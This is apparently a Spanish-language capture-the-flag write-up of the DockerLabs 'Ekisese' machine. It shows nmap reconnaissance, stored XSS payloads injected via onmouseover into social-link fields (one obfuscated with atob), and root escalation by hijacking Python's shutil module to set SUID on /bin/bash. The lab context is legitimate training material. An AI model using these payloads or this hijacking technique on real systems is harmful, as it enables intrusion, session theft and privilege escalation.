Ekisese, DockerLabs
Herramientas y recursos
En este reto de DockerLabs practicamos.
| Tecnicas | Herramientas |
|---|---|
| scan de puertos | nmap |
| inyeccion xss | payloads |
| Abuso de sudo | Python Library Hijacking |
Reconocimiento y enumeracion
Lo primero como siempre le tiramos un nmap con los parámetros de costumbre.
1
sudo nmap -p- -sS -sC -sV --min-rate=5000 -n -Pn -oX bola 172.17.0.3
Como nos muestra el reporte solo hallamos el 22 y el 80.Revisamos la web y nos vamos a dashboard que es donde indica que se puede producir la inyeccion de hecho habla del campo test en la descripcion de la maquina.
Despues de estar un buen rato jugando en todos los campos , incluso con cambio de nombre de user que no se ve reflejado en el dashboard pero si cambia cuando accedes a maquinas o tutoriales , lo compruebas pq cuando cambias el nombre desaparecen los links de las redes sociales del usuario con el que accedemos test y aparecen con el del nuevo nombre , introducir de todo en biografia texto comun y payloads y que no se muestre por ningun lado , lo unico que hallo son los campos de links.
De hecho cuando miramos el fuente despues de modificar y añadir nuestros payloads en la bio vemos como aplica HTML Entity Encoding por tanto solo nos quedan los tres campos de social nets.
Ya que la maquinita es de apredizaje pruebo distintas cosas Con el payload tipico
1
<script>alert("123")</script>
1
2
"onmouseover="console.log(document.cookie)
"onmouseover="prompt(document.cookie)
Esos dos tampoco me funcionaron. Asi que voy a lo que si que me funciono
1
2
3
https://linkedin.com/pingu/"onmouseover="eval(atob`YWxlcnQoJ2ZpcnNhdGFjaycp`)
https://github.com/firstatack/"onmouseover="alert('firsatack')
https://youtube.com/firstatack/"onmouseover="alert(document.cookie)
- El primer payload esta obfuscado aunque no era necesario lo probe
- El segundo es comun
- Y con el tercero trate de leer o robar las cookies cosa imposible con httponly activado js no accede a ellas,tiene un explicacion mas larga dado que debes tener un servidor externo a la escucha para captura la cookie de cada usuario que paasra por encima del link
Termino usando onmouseover dado que lo que se debe escribir en ese campo como nos inidicaba el cartel a de parecer una url por eso script no funcionaba , al usar la comilla doble se cierra el atributo original inputy el navegador interpreta lo que le sigue como otro atributo legitimo.
Despues de todo este rollo y con cualquiera de esos tres payloads obtengo lo siguente credenciales de acceso ssh.
Escalada
Una vez dentro ejecutamos sudo -l y vemos que nos han dejado python con un script cleanup.py pero lo interesante son las librerias a las que llama y vamos a suplantar una de ellas.
Creo la libreria maliciosa en tmp que es donde puedo escribir seguro ,con el nombre shutil.py que es una de las que usa.
1
echo -e "import os\n\ndef rmtree(path):\n os.system('chmod +s /bin/bash')" > /tmp/shutil.py
Usamos def rmtree(path): para que el script se ejecute sin fallar.
Ahora como la libreia no esta en los lugares donde python la buscaria debemos indicarle que en /tmp tambien tiene librerias y primero las buscara ahi , usamos PYTHONPATH.
Por otro lado si nos fijamos en el codigo en la siguiente seccion vemos que si no existe la carpeta /tmp/temp_upload va a saltar directo al else sin llamar al shutil malicioso.
1
2
3
4
5
6
7
8
9
10
11
def cleanup_temp_files():
print("Cleaning up temporary files...")
# Simulate some cleanup action
if os.path.exists("/tmp/temp_upload"):
try:
shutil.rmtree("/tmp/temp_upload")
print("Cleanup successful.")
except Exception as e:
print(f"Error during cleanup: {e}")
else:
print("No temporary files found.")
Asi que antes de ejecutar creamos ese directorio /tmp/temp_upload y ahora ejecutamos
1
sudo -u root PYTHONPATH=/tmp /usr/bin/python3 /usr/local/bin/cleanup.py
1
/usr/bin/bash -p
Hasta aqui la maquinita, gracias por leer.








Comments powered by Disqus.